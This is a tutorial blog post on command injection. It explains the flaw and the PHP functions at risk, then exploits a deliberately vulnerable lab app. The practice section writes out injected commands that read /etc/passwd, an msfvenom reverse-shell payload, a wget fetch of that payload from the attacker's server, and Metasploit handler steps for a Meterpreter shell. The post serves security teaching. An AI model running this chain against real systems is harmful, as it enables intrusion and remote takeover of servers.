In this article I want to introduce you to command injection with a very simple practical example.
I also suggest you read the code of the target application in order to better understand, but now let’s get to the gist!
Command injection is a code injection technique that exploits a security flaw in a software application.
The flaw is present when the application passes unsafe user-supplied data (forms, cookies, HTTP headers, etc.) to a system shell for execution.
An attacker can exploit this flaw to execute arbitrary shell commands on the host operating system.
The reason why command injection is so dangerous is that the attacker can execute any system command, not just the ones that the application is designed to run.
This gives the attacker complete control over the system, which he can use to do anything; from deleting critical files to launching a denial of service attack by crashing the system. Command injection is often used to exploit web applications that allow users to submit data via HTTP GET or POST requests. However, any application that executes system commands with unsafe user-supplied data is vulnerable.
To prevent command injection attacks, it is important to never pass unsanitized user-supplied data to a system shell. The developer should design the application in a way that data are always validated and escaped before being passed to a system command.
PHP functions at risk of command injection attack
Since PHP is ubiquitous on the web I want to list some critical functions every developer should pay attention to:
exec()
It executes the command that the application passes as a parameter.shell_exec()
Executes the command and returns the output as a string.system()
Executes an external command and then shows the outputpassthru()
Executes an external command and then shows the raw output
PHP also provides two functions that provide a kind of sanitization, however, they are not always safe:
escapeshellcmd()
It escapes meta characters of a string before the application will pass it to a system function.escapeshellarg()
Escapes a string before the application uses it as a shell command.
As we can see, it could be tricky to prevent, so the advice is to avoid, where is possible, using OS commands from a web application.
Types of vulnerabilities
There are some vulnerabilities that an attacker can exploit with a command injection attack, let’s see some of them:
- Arbitrary file upload is the ability to upload any type of file with any extension to a web application.
- Server-side template injection (SSTI) When a web application uses user input to generate web pages, an attacker can trick the application into running malicious commands.
- XML external entity injection (XXE) is an input validation vulnerability that occurs during the parsing of XML. It can lead to a command injection attack.
- Insecure deserialization Usually the server receives serialized data from the user. If they are not properly sanitized, an attacker can craft an exploit and execute some commands.
- Arbitrary command injection is a security vulnerability that allows an attacker to inject and execute arbitrary commands on a server by manipulating input fields on an application.
Preparing the ground before the practice
Now it’s time to better understand how command injection works and in order to do that we are going to exploit an arbitrary command injection vulnerability.
In order to do that I think that the easiest way is to exploit SDWA as we did in the SQLi tutorial and with the XSS exploitation article.
Before starting our journey we need a few things:
- Install Virtual Box and Kali Linux on it
- Install SDWA on the Kali Linux Virtual machine
Now we have done everything, so just run the application with:
flask run
And then open the browser at the address: http://localhost:5000
Command injection in practice
Once we join the “Cmdi” section, if we try to check for “hackthebox” this is the result.
We have no hint about the presence of an arbitrary command injection vulnerability. Anyway, we can make our guesses, and knowing that a semicolon in Unix-based systems separates two commands, we can imagine that if the vulnerability is present we have a situation like this:
cat <USERINPUT>
So let’s see what would happen if we gave an input like this: ; echo "Hello!"
That’s the proof of the presence of a command injection vulnerability!
Obviously what we’ve done until now is useless, but let’s do something more interesting and let’s see all the users in the system.
Before doing whatever we can check the server operating system ( very likely would be a Linux server), so try to type:
; cat /etc/os-release
And this is the result
So the output tells us clearly that it’s a Kali Linux machine (as we already knew).
Another nice thing we can do is to list all the users in the machine by typing:
; cat /etc/passwd
The result is a very long list of users:
Command injection: how to run a reverse shell
This approach has two main issues:
- You are a bit limited by not having an interactive control
- In the real world rarely this vulnerability displays the results but is “blind”
In this section we can see something more interesting, what we’ve seen until now appears to be a bit limited and probably you want to see how to get control of the target system!
I’ll show you how to do that.
Run a reverse shell
Running a reverse shell can give you a lot of power, and I think that a Meterpreter can be much more comfortable, so as attackers let’s prepare our tools.
First of all, we need to generate our python payload in the kali attacker machine
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4567 -f raw -o shell-x86.py
So we told the payload that our victim must connect to IP 10.0.2.15 (our attacker’s target IP) at port 4567.
Now we need to deliver our payload, so let’s open an HTTP server in the same directory of the payload, let’s simply do it with python:
python -m http.server
After that we have a running server bind at the address: http://10.0.2.15:8000
.
Let’s jump onto our browser and make the target server download our payload by typing in the input field:
; wget http://10.0.2.15:8000/shell-x86.py
As this image shows:
Now the payload should be on the victim server, the next step is to open a listener on the attacker machine:
First, let’s run Metasploit in quiet mode:
msfconsole -q
Secondly, we need to set the handler and its parameters, I’ll list all the commands in a block:
use exploit/multi/handler
set PAYLOAD python/meterpreter/reverse_tcp
set LHOST 10.0.2.15
set LPORT 4567
run
As we can see in the image below, the listener is active:
Finally, we are ready to run the payload, in our vulnerable application, type:
; python shell-x86.py
And if we look at our listener we can rejoice because we are in!
Conclusion
In this article, I just scratched the surface, but I hope I gave you a clearer idea of how dangerous this vulnerability could be. I hope you enjoyed it and I’m really looking forward to writing the next one.